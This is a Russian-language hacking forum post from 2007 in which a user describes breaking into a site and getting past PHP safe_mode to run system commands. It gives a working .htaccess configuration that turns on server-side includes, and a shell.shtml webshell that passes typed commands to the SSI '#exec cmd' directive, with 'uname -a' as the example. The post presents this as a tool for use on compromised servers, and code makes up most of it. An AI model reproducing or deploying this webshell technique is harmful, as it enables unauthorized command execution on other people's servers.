Показать сообщение отдельно

обход ограничений safe_mode...
  #1  
Старый 14.04.2007, 12:30
p-range
Участник форума
Регистрация: 05.02.2006
Сообщений: 168
Провел на форуме:
749524

Репутация: 715
Отправить сообщение для p-range с помощью ICQ
По умолчанию обход ограничений safe_mode...

Это просто один из способов обойти ограничения на выполнение системных команд при safe_mode = on.
Целью не является сделать полный обзор по всем способам обхода ограничений safe_mode, а сделать упор на один.

Недавно у меня появилась такая проблема, взломал сайт (неважно как), получил на нем вебшелл. Права на запись были, но... safe_mode был как на зло включен. Тогда у меня появилась идея как его обойти. Точнее способ был известен и до меня, но я его предоставлю в более удобном виде.

Итак, есть вебшелл, права на запись в любую директорию сайта. Для начала смотрим phpinfo();. В поле Loaded Modules смотрим загружен ли модуль mod_include, если да, то все нормально. Создаем файл .htaccess следующего содержания:
Код:
AddType text/html .shtml
AddHandler server-parsed .shtml
Options +Includes
Далее пишем своеобразный "вебшелл" на JavaScript + SSI (Server Side Includes), позволяющий обходить ограничения safe_mode и выполнять системные команды. Итак, создаем файл shell.shtml следующего содержания:
Код:
<html>
<body>
<script language="JavaScript">
<!--
function execute() {
var cmd = document.exec.cmd.value;
document.write('<html><body><!--#exec cmd="'+cmd+'"--></body></html>');
}
//-->
</script>
<form name="exec">
<input type="text" name="cmd" size="20" value="">&nbsp;
<input type="submit" value="exec" onClick="execute()">
</form>
</body>
</html>
Все, наш скрипт готов. Для тех кто не понял, мы собираемся выполнять команды с помощью этой строчки:
Код:
<!--#exec cmd="uname -a;"-->
А JavaScript вставки и форма нужна для того чтобы не изменять каждый раз скрипт вручную, а делать все через веб интерфейс.

Вот собственно все что я хотел рассказать.

Полезные ссылки:
SSI
Обход Safe Mode
Поднимаем железный занавес

Последний раз редактировалось p-range; 14.04.2007 в 12:31.. Причина: опечатка в тексте
 
Ответить с цитированием